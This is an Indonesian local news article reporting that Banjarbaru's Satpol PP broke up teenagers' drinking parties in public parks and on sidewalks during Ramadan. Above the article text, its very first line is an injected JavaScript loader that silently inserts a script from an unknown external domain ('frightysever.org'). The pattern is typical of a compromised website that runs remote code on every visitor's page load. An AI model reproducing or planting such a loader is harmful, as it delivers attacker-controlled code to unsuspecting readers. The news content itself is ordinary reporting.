(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru menggerebek gangguan keamanan dan ketertiban masyarakat (Kamtibmas) yang ada ibu kota Provinsi Kalimantan Selatan.
Teranyar, Satpol PP Kota Banjarbaru membubarkan pesta miras para remaja di beberapa titik dekat pusat kota. Beberapa remaja yang terjaring patroli ketertuban umum tersebut berasal dari Banjarmasin.
Para remaja asal Banjarmasin ini asyik menikmati minuman keras (Miras) di jalur pedestrian alias trotoar untuk pejalan kaki milik Pemko Banjarbaru.
Kepala Seksi (Kasi) Opsdal Satpol PP Kota Banjarbaru Yanto Hidayat mengaku kaget beberapa pekan melaksanakan patroli cita kondisi di Kota Banjarbaru banyak didapati remaja muda yang mengkonsumsi miras pada saat bulan puasa.
Baca juga: Lepas 5 Bus Mudik Gratis, Wali Kota Aditya: Dilarang Mudik Pakai Kendaraan Plat Merah
“Sebelum bulan puasa banyak oplosan, tapi saat bulan puasa malah lebih banyak didapati miras yang bermerk,” ungkapnya, Selasa (18/4/2023) siang.
Bahkan, ada sekelompok anak muda asal Banjarmasin yang sengaja membawa Miras botolan bermerk dari Banjarmasin kemudian dikonsumsi di wilayah ibu kota Provinsi Kalsel.
“Katanya di Banjarbaru lebih ramai dan lebih nyaman suasananya buat minum,” beber Yanto menirukan pengakuan para remaja itu.
Disebutkan Yanto beberapa waktu lalu saat giat cipta kondisi, Satpol PP Banjarbaru menyasar sejumlah kawasan publik seperti RTH (Ruang Terbuka Hijau) Taman Kreasi, RTH Mawar, dan sepanjang Jalan Pangeran Suriansyah.
Di tiga tempat tersebut anggota Satpol PP Banjarbaru menemukan sekumpulan remaja yang nongkrong sambil minum minuman beralkohol.
Selain itu juga, petugas juga mendapati adanya sekumpulan remaja di Jalan Ahmad Yani Km 34 depan kampus ULM Banjarbaru sedang berpesta minuman alkohol jenis tuak.
Baca juga: Lepas 5 Bus Mudik Gratis, Wali Kota Aditya: Dilarang Mudik Pakai Kendaraan Plat Merah
Satpol PP juga melakukan pengawasan dan pemantauan di JPO Banjarbaru 2, di sana juga mendapati remaja yang sedang mengkonsumsi minuman beralkohol.
Pengawasan juga tak luput ke beberapa kios yang ada di Jalan A Yani Km 33,6. Namun, tidak ditemukan pelanggaran apapun disana.
Karena hanya Tipiring, petugas hanya memberi peringatan kepada remaja tersebut dan memberikan hukuman fisik yang terukur kepada mereka, memberikan efek jera kemudian petugas membuang minuman beralkohol tersebut.
Satpol PP Banjarbaru tegas akan melakukan pengawasan dan penindakan terhadap beberapa kios-kios yang disinyalir sebagai tempat penyedia Miras di Banjarbaru. “Ada delapan titik yang sudah kami petakan. Nanti tunggu tanggal mainnya,” tandasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
This website uses cookies.